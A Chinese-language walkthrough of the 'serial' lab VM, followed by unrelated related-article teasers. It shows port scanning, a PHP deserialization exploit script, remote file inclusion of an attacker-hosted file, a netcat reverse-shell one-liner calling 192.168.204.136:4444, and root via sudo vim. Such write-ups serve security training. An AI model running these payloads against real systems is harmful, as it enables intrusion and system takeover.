【反序列化漏洞】serial靶机详解
一、安装靶机
首先创建新的虚拟机。


然后选择客户机版本为Ubuntu 64位。

然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认

二、信息收集
发现主机192.168.204.143

访问

扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:80服务的端口

扫描目录

Index.php我们已经访问过了,所以我们访问另一个

点击bak.zip给我下载到了本地打开发现三个php文件,解压打开

打开文件,发现unserialize()反序列函数,通过代码审计发现有用户传入的参数,有可能是php反序列化漏洞

三、漏洞利用
对index页面抓包

将cookiebase64解密之后,确实是序列化

之后便是分析php文件,找pop链(感觉代码放这里看不明显,直接上截图)
cookie有值就直接反序列化,这里包含了uesr.class.php文件,去看一下

uesr.class.php文件

log.class.php

构造exp,记住所有变量前用public修饰
<?phpclass Log {public $type_log = "/etc/passwd ";}class User {public $name;public $wel;function __construct($name) {$this->name = $name;$this->wel = new Log();}}$us = new User("sk4");print_r(serialize($us));?>
得到 O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}之后去base64编码之后,赋值给cookie,成功执行


四、获取shell
因为这样执行命令不太方便,我们可以换一种方式,在本地打开web服务,写个命令执行代码,写到www文件夹里的3.php里面(访问该文件:http://192.168.3.46/3.php
),尝试看能不能远程包含

修改type_log的值,将运行的结果base64编码,改cookie,成功访问,证明可以远程包含



发现一直报错显示无法执行空逗号,我那时候还在疑惑为什么不行,试了很久发现是包含文件是php形式的错,包含的文件会先自己进行解析(这里是test.php,会先按php进行解析),解析之后的内容再到包含文件的地方,按它那里的格式进行解析(这里是php文件,按php解析),因此这里test.php先解析的时候,$_GET['x']没有值,因此报错,而按txt解析的时候不会报这个错误,因为被当做字符串


将test.php换为test.txt,之后重新序列化,编码,写入cookie,参数,发现成功执行

添加反弹shell:
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.204.136+4444+>/tmp/f
,没有回应,但反弹shell成功


五、提权
执行whoami,发现是www-data用户,查看根目录下的文件,发现敏感文件credentials.txt.bak,我们查看一下

查看文件获取到一个用户名和密码

我们前面信息收集的时候发现22端口是打开的,我们ssh远程登陆一下,输入靶机的ip,再输入我们刚刚得到用户名和密码,登陆


尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关文章:
【反序列化漏洞】serial靶机详解
一、安装靶机 首先创建新的虚拟机。 然后选择客户机版本为Ubuntu 64位。 然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认 二、信息收集 发现主机192.168.204.143 访问 扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:8…...
C#列表按照日期进行从大到小排序
C#列表按照日期进行从大到小排序...
rt-thread每个线程状态切换方法
线程状态 RT-Thread 中线程的状态定义在 rt_thread.h 头文件中,通常包括以下几种状态: RT_THREAD_INIT:线程初始化状态。RT_THREAD_READY:线程就绪状态。RT_THREAD_SUSPEND:线程挂起状态。RT_THREAD_RUNNING…...
visual studio跳转到上一个/下一个光标处的快捷键设置
vscode能通过Alt左右箭头跳转到上/下一个光标处,这对于“点进函数看源码,看完后跳转到原来位置”是非常方便的。 在Visual Studio中,有2种方法实现这样的功能。 第一种,直接点击这两个按钮:(缺点是每次要用…...
网络基础命令配置复习 (基础华为设备)
目录 一.前言 二.Telnet远程登陆 2.1telnet介绍 2.2telnet的配置 三.交换机基础配置 四.致谢 一.前言 网络基础不仅是IT从业者的必备知识,也是日常生活中使用网络的人们应该了解的内容。通过学习和掌握这些基础知识,你将能更好地理解和利用现…...
在AspNetCoreRateLimit中,ClientRateLimiting 和 IpRateLimiting 都有的时候按谁的来
在AspNetCoreRateLimit中,当同时配置了ClientRateLimiting(基于客户端ID的速率限制)和IpRateLimiting(基于IP地址的速率限制)时,它们的应用方式主要取决于请求的特性和配置的设置。以下是对这两种速率限制方…...
PEP 8 – Python 代码风格指南中文版(五)
强制性:命名约定 应避免的命名 永远不要使用字符‘l’(小写字母el)、‘O’(大写字母oh)或‘I’(大写字母eye)作为单字符变量名。在某些字体中,这些字符与数字1和0难以区分。当想使…...
Spring中是如何实现IoC和DI的?
前言:在前一篇文章中对于IoC的核心思想进行了讲解,而本篇文章则从Spring的角度入手,体会Spring对于IoC是如何实现的。 如果对IoC还有不太了解的可以阅读上一篇文章,相信一定会带来全新的收获:什么是IoC(控制…...
Excel第33享:借助易用宝将多个表格合并到一个表格
1、需求描述 现有3个销售数据的Excel表格,希望将其整合到一个表格里,如下图所示。 2、具体操作 (1)下载一个插件“易用宝”。 下载地址:最新版下载 | Excel易用宝 如果本地址失效,可以直接百度搜索“易…...
opencascade AIS_TrihedronOwner源码学习对象的实体所有者用于选择管理
opencascade AIS_TrihedronOwner 前言 AIS_Trihedron对象的实体所有者用于选择管理。 在OpenCascade的AIS(交互对象框架)中,管理类似AIS_Trihedron的对象的选择涉及理解如何处理实体(或所有者)以进行选择。 方法 1…...
面试经典算法150题系列-跳跃游戏||
跳跃游戏|| 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: 0 < j < nums[i] i j < n 返回到达 num…...
uniapp h5支付(支付宝和微信支付)
支付宝和微信支付 支付宝 创建一个页面,复制下面即可 <template><view><div class"body" v-html"formUrl"></div></view> </template><script>export default {data() {return {formUrl: // 用于…...
Radamsa:一款高性能通用模糊测试工具
关于Radamsa Radamsa是一款高性能的通用模糊测试工具,广大研究人员可以将其当作一个应用程序稳定性测试的测试用例生成工具。 工具运行机制 该工具使用简单,支持自定义脚本开发,可以用于测试程序对格式错误和潜在恶意输入的承受能力。它的工…...
css中使用data中的变量
一、定义变量 data() {return {myColor:"#2a9efb",}; },二、在templete中激活 说明:这里其实类似于设置 document.documentElement.style.setProperty(--myColor, myColor),而我们现在只是给div设置了变量属性,并且是在当前页面设置的&#x…...
Java 设计模式之策略模式 (Strategy Pattern) 详解
Java 设计模式之策略模式 (Strategy Pattern) 详解 策略模式(Strategy Pattern)是一种行为型设计模式,旨在定义一系列算法,将每个算法封装起来,并使它们可以互相替换,从而使得算法的变化不会影响使用算法的…...
习题20240803(未完成)
文章目录 一、Linq练习 使用Linq完成下面练习1.题目: 返回 numbers 列表中的所有数字。2.题目: 返回 numbers 列表中的所有偶数。3.题目: 返回 numbers 列表中所有大于10的数字。4.题目: 返回 students 列表中所有学生的姓名。5.题目: 返回 numbers 列表按升序排序后的数字。6.…...
C语言程序设计25
《C程序设计教程(第四版)——谭浩强》 习题2.2 分析下面程序的运行结果,然后上机验证。 代码: //《C程序设计教程(第四版)——谭浩强》 //习题2.2 分析下面程序的运行结果,然后上机验证。#inc…...
TypeScript 基础类型与类型声明
前言 在 JavaScript 中,变量是没有类型的,变量的值的类型是在运行时确定的,这被称为动态类型。 这意味着可以在不同的时间将不同类型的值赋给同一个变量,并且 JavaScript 会在运行时根据当前赋给变量的值来确定其类型。 示例&…...
算法:BFS 解决多源最短路问题
目录 多源最短路 题目一:矩阵 题目二:飞地的数量 题目三:地图中的最高点 题目四:地图分析 多源最短路 首先想要知道多源最短路,就先要明白单源最短路,bfs解决单源最短路问题前面学习过,单…...
grep工具的使用
grep [options]…… pattern [file]…… 工作方式: grep 在一个或者多个文件中搜索字符串模板,如果模板中包括空格,需要使用引号引起来,模 板后的所有字符串会被看作是文件名。 工作结果:如果模板搜索成功…...
使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...
Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)
文章目录 1.什么是Redis?2.为什么要使用redis作为mysql的缓存?3.什么是缓存雪崩、缓存穿透、缓存击穿?3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...
Java + Spring Boot + Mybatis 实现批量插入
在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法:使用 MyBatis 的 <foreach> 标签和批处理模式(ExecutorType.BATCH)。 方法一:使用 XML 的 <foreach> 标签ÿ…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
Elastic 获得 AWS 教育 ISV 合作伙伴资质,进一步增强教育解决方案产品组合
作者:来自 Elastic Udayasimha Theepireddy (Uday), Brian Bergholm, Marianna Jonsdottir 通过搜索 AI 和云创新推动教育领域的数字化转型。 我们非常高兴地宣布,Elastic 已获得 AWS 教育 ISV 合作伙伴资质。这一重要认证表明,Elastic 作为 …...
软件工程 期末复习
瀑布模型:计划 螺旋模型:风险低 原型模型: 用户反馈 喷泉模型:代码复用 高内聚 低耦合:模块内部功能紧密 模块之间依赖程度小 高内聚:指的是一个模块内部的功能应该紧密相关。换句话说,一个模块应当只实现单一的功能…...
macOS 终端智能代理检测
🧠 终端智能代理检测:自动判断是否需要设置代理访问 GitHub 在开发中,使用 GitHub 是非常常见的需求。但有时候我们会发现某些命令失败、插件无法更新,例如: fatal: unable to access https://github.com/ohmyzsh/oh…...
React核心概念:State是什么?如何用useState管理组件自己的数据?
系列回顾: 在上一篇《React入门第一步》中,我们已经成功创建并运行了第一个React项目。我们学会了用Vite初始化项目,并修改了App.jsx组件,让页面显示出我们想要的文字。但是,那个页面是“死”的,它只是静态…...
GAN模式奔溃的探讨论文综述(一)
简介 简介:今天带来一篇关于GAN的,对于模式奔溃的一个探讨的一个问题,帮助大家更好的解决训练中遇到的一个难题。 论文题目:An in-depth review and analysis of mode collapse in GAN 期刊:Machine Learning 链接:...
[QMT量化交易小白入门]-六十二、ETF轮动中简单的评分算法如何获取历史年化收益32.7%
本专栏主要是介绍QMT的基础用法,常见函数,写策略的方法,也会分享一些量化交易的思路,大概会写100篇左右。 QMT的相关资料较少,在使用过程中不断的摸索,遇到了一些问题,记录下来和大家一起沟通,共同进步。 文章目录 相关阅读1. 策略概述2. 趋势评分模块3 代码解析4 木头…...
